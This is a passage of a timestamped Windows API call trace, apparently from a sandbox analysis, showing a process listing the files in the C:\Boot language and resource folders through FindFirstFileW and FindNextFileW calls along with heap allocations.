	[0167.926] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65403a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f8fc0d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0167.927] FindClose (in: hFindFile=0x6aba58 | out: hFindFile=0x6aba58) returned 1
	[0167.927] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4434fd8 | out: hHeap=0x610000) returned 1
	[0167.927] FindNextFileW (in: hFindFile=0x6abd98, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6678d6, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6678d6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="pt-BR", cAlternateFileName="")) returned 1
	[0167.927] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x4434fd8
	[0167.927] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-BR\\*", lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6678d6, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6678d6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6aba58
	[0167.927] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6678d6, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6678d6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0167.927] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4912aed, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2112e17f, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0167.928] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65dc94, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f8fc0d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0167.929] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65dc94, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f8fc0d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0167.929] FindClose (in: hFindFile=0x6aba58 | out: hFindFile=0x6aba58) returned 1
	[0167.929] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4434fd8 | out: hHeap=0x610000) returned 1
	[0167.929] FindNextFileW (in: hFindFile=0x6abd98, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f167, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6714dc, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="pt-PT", cAlternateFileName="")) returned 1
	[0167.929] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x4434fd8
	[0167.929] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-PT\\*", lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f167, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6714dc, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6aba58
	[0167.929] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f167, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6714dc, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0167.929] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2112e17f, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0167.929] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6714dc, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f8fc0d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0167.929] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6714dc, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f8fc0d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0167.929] FindClose (in: hFindFile=0x6aba58 | out: hFindFile=0x6aba58) returned 1
	[0167.929] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4434fd8 | out: hHeap=0x610000) returned 1
	[0167.929] FindNextFileW (in: hFindFile=0x6abd98, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f640, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef684d85, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="qps-ploc", cAlternateFileName="")) returned 1
	[0167.930] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x4434fd8
	[0167.930] FindFirstFileW (in: lpFileName="C:\\Boot\\qps-ploc\\*", lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f640, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef684d85, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6aba58
	[0167.930] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f640, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef684d85, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0167.930] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12160, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0167.930] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef684d85, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xfbd1a998, ftLastWriteTime.dwHighDateTime=0x1d2fa06, nFileSizeHigh=0x0, nFileSizeLow=0xd398, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0167.930] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef684d85, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xfbd1a998, ftLastWriteTime.dwHighDateTime=0x1d2fa06, nFileSizeHigh=0x0, nFileSizeLow=0xd398, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0167.930] FindClose (in: hFindFile=0x6aba58 | out: hFindFile=0x6aba58) returned 1
	[0167.930] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4434fd8 | out: hHeap=0x610000) returned 1
	[0167.930] FindNextFileW (in: hFindFile=0x6abd98, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ab61e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9abff9, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Resources", cAlternateFileName="RESOUR~1")) returned 1
	[0167.930] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x4434fd8
	[0167.930] FindFirstFileW (in: lpFileName="C:\\Boot\\Resources\\*", lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ab61e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9abff9, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6aba58
	[0167.930] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ab61e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9abff9, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0167.931] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9abff9, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef597530, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x169a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootres.dll", cAlternateFileName="")) returned 1
	[0167.931] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ac01e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9baa67, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0167.931] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x4478f98
	[0167.931] FindFirstFileW (in: lpFileName="C:\\Boot\\Resources\\en-US\\*", lpFindFileData=0x350f584 | out: lpFindFileData=0x350f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ac01e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9baa67, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x6ac718
	[0167.932] FindNextFileW (in: hFindFile=0x6ac718, lpFindFileData=0x350f584 | out: lpFindFileData=0x350f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ac01e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9baa67, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0167.932] FindNextFileW (in: hFindFile=0x6ac718, lpFindFileData=0x350f584 | out: lpFindFileData=0x350f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9baa67, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0x31acad58, ftLastWriteTime.dwHighDateTime=0x1d2a030, nFileSizeHigh=0x0, nFileSizeLow=0x2fa0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="bootres.dll.mui", cAlternateFileName="BOOTRE~1.MUI")) returned 1
	[0167.932] FindNextFileW (in: hFindFile=0x6ac718, lpFindFileData=0x350f584 | out: lpFindFileData=0x350f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9baa67, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0x31acad58, ftLastWriteTime.dwHighDateTime=0x1d2a030, nFileSizeHigh=0x0, nFileSizeLow=0x2fa0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="bootres.dll.mui", cAlternateFileName="BOOTRE~1.MUI")) returned 0
	[0167.932] FindClose (in: hFindFile=0x6ac718 | out: hFindFile=0x6ac718) returned 1
	[0167.932] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4478f98 | out: hHeap=0x610000) returned 1
	[0167.932] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ac01e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9baa67, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0
	[0167.932] FindClose (in: hFindFile=0x6aba58 | out: hFindFile=0x6aba58) returned 1
	[0167.932] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4434fd8 | out: hHeap=0x610000) returned 1
	[0167.932] FindNextFileW (in: hFindFile=0x6abd98, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="ro-RO", cAlternateFileName="")) returned 1
	[0167.932] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x4434fd8
	[0167.932] FindFirstFileW (in: lpFileName="C:\\Boot\\ro-RO\\*", lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6aba58
	[0167.933] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0167.933] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12960, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0167.933] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12960, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0167.933] FindClose (in: hFindFile=0x6aba58 | out: hFindFile=0x6aba58) returned 1
	[0167.933] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4434fd8 | out: hHeap=0x610000) returned 1
	[0167.933] FindNextFileW (in: hFindFile=0x6abd98, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef698608, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef698608, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="ru-RU", cAlternateFileName="")) returned 1
	[0167.933] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x4434fd8
	[0167.933] FindFirstFileW (in: lpFileName="C:\\Boot\\ru-RU\\*", lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef698608, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef698608, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6aba58
	[0167.933] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef698608, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef698608, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0167.933] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0167.933] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef698608, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f699a6, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xafa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0167.934] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef698608, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f699a6, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xafa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0167.934] FindClose (in: hFindFile=0x6aba58 | out: hFindFile=0x6aba58) returned 1
	[0167.934] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4434fd8 | out: hHeap=0x610000) returned 1
	[0167.934] FindNextFileW (in: hFindFile=0x6abd98, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="sk-SK", cAlternateFileName="")) returned 1
	[0167.934] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x4434fd8
	[0167.934] FindFirstFileW (in: lpFileName="C:\\Boot\\sk-SK\\*", lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6aba58
